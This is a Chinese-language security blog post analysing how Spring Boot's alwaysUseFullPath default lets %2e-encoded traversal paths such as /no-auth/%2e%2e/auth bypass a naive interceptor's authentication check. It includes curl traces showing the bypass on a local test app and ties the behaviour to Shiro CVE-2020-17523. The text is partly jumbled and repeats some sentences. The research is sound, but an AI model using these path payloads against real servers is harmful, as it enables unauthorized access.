其他
Spring Boot 中关于 %2e 的 Trick
作者 | Ruilin
alwaysUseFullPath
为默认值false,这会使得其获取ServletPath,所以在路由匹配时相当于会进行路径标准化包括对%2e
解码以及处理跨目录,这可能导致身份验证绕过。alwaysUseFullPath
自动配置成了true从而开启全路径,又可能导致一些安全问题。<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
public class httpbinController {
@RequestMapping(value = "no-auth", method = RequestMethod.GET)
public String noAuth() {
return "no-auth";
}
@RequestMapping(value = "auth", method = RequestMethod.GET)
public String auth() {
return "auth";
}
}
public class WebMvcConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(handlerInterceptor())
//配置拦截规则
.addPathPatterns("/**");
}
@Bean
public HandlerInterceptor handlerInterceptor() {
return new PermissionInterceptor();
}
}
@Component
public class PermissionInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String uri = request.getRequestURI();
uri = uri.replaceAll("//", "/");
System.out.println("RequestURI: "+uri);
if (uri.contains("..") || uri.contains("./") ) {
return false;
}
if (uri.startsWith("/no-auth")){
return true;
}
return false;
}
}
startsWith
,contains
这样的判断方式,显然这是不安全的,我们绕过方式由很多比如..
或..;
等,但其实在用startsWith
来判断白名单时构造都离不开跨目录的符号..
那么像上述代码这种情况又如何来绕过呢?答案就是%2e
发起请求如下* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0
%2e%2e
绕过了PermissionInterceptor的判断,同时匹配路由成功,很显然应用在进行路由匹配时会进行路径标准化包括对%2e
解码以及处理跨目录即如果存在/../
则返回上一级目录。* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
%2e
解码以及处理跨目录,这可能导致身份验证绕过。那么又为什么会这样?org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
这里就出现有趣的现象,在2.3.0.RELEASE中alwaysUseFullPath
为默认值falsealwaysUseFullPath
被设置成了truegetPathWithinApplication
而另一个走向了getPathWithinServletMapping
在getPathWithinServletMapping
中会获取ServletPath,ServletPath会对uri标准化包括先解码然后处理跨目录等,这个很多讲Tomcat uri差异的文章都提过了,就不多说了。而getPathWithinApplication
中主要是先获取RequestURI然后解码但之后没有再次处理跨目录,所以保留了..
因此无法准确匹配到路由。到这里我们可以看到这两者的不同,也解释了最终出现绕过情况的原因。alwaysUseFullPath
为默认值false,这会使得其获取ServletPath,所以在路由匹配时相当于会进行路径标准化包括对%2e
解码以及处理跨目录,这可能导致身份验证绕过。alwaysUseFullPath
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0
alwaysUseFullPath
会被设置成true呢?这就要追溯到org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中alwaysUseFullPath
为默认值false,这会使得其获取ServletPath,所以在路由匹配时相当于会进行路径标准化包括对%2e
解码以及处理跨目录,这可能导致身份验证绕过。而高版本为了提高效率对alwaysUseFullPath
自动配置成了true从而开启全路径,这又造就了Shiro的CVE-2020-17523中在配置不当情况下的一个利用姿势,如果代码中没有提供对此类参数的判断支持,那么就可能会存在安全隐患。其根本原因是Spring Boot自动配置的内容发生了变化。往期推荐